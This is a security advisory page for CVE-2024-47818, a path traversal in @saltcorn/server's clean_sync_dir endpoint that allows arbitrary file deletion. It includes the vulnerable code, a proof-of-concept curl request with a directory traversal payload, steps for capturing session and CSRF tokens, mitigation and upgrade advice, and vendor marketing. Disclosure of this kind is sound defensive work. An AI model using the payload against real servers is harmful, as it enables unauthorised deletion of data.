CVE-2024-47818

CVE-2024-47818 is a high-severity path traversal vulnerability in @saltcorn/server (npm), affecting versions <= 1.0.0-beta.15. It is fixed in 1.0.0-beta.16.

Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.

Details

router.post(
  "/clean_sync_dir",
  error_catcher(async (req, res) => {
    const { dir_name } = req.body; // [1] source
    try {
      const rootFolder = await File.rootFolder();
      const syncDir = path.join(
        rootFolder.location,
        "mobile_app",
        "sync",
        dir_name // [2]
      );
      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
      res.status(200).send("");
    } catch (error) {
      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
      res.status(400).json({ error: error.message || error });
    }
  })
);

PoC

The following PoC can be executed with a user with any role (admin, staff, user, public)

  • create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
  • log with a user and retrieve valid connect.sid and _csrf values***
  • send the following curl request
curl -i -X $'POST' \
  -H $'Host: localhost:3000' \
  -H $'Content-Type: application/x-www-form-urlencoded' \
  -H $'Content-Length: 93' \
  -H $'Origin: http://localhost:3000' \
  -H $'Connection: close' \
  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
  $'http://localhost:3000/sync/clean_sync_dir'
  • check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory

*** obtain connect.sid and _csrf values

A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality:

  • log in
  • open the browser developer console, go to the Network tab filter for settings request
  • visit http://localhost:3000/auth/settings
  • trigger the change password functionality
  • under the Headers and Request tabs, grab the connect.sid and _csrf values and replace them in the curl command

Arbitrary file delete

Recommended Mitigation

Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.

Impact

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2024-47818 has a CVSS score of 6.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.0-beta.16); upgrading removes the vulnerable code path.

Affected versions

@saltcorn/server (<= 1.0.0-beta.15)

Security releases

@saltcorn/server → 1.0.0-beta.16 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade @saltcorn/server to 1.0.0-beta.16 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2024-47818? CVE-2024-47818 is a high-severity path traversal vulnerability in @saltcorn/server (npm), affecting versions <= 1.0.0-beta.15. It is fixed in 1.0.0-beta.16. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2024-47818? CVE-2024-47818 has a CVSS score of 6.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @saltcorn/server are affected by CVE-2024-47818? @saltcorn/server (npm) versions <= 1.0.0-beta.15 is affected.
  4. Is there a fix for CVE-2024-47818? Yes. CVE-2024-47818 is fixed in 1.0.0-beta.16. Upgrade to this version or later.
  5. Is CVE-2024-47818 exploitable, and should I be worried? Whether CVE-2024-47818 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2024-47818 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2024-47818? Upgrade @saltcorn/server to 1.0.0-beta.16 or later.

Other vulnerabilities in @saltcorn/server

Other vulnerabilities in @saltcorn/server

Stop the waste.
Protect your environment with Kodem.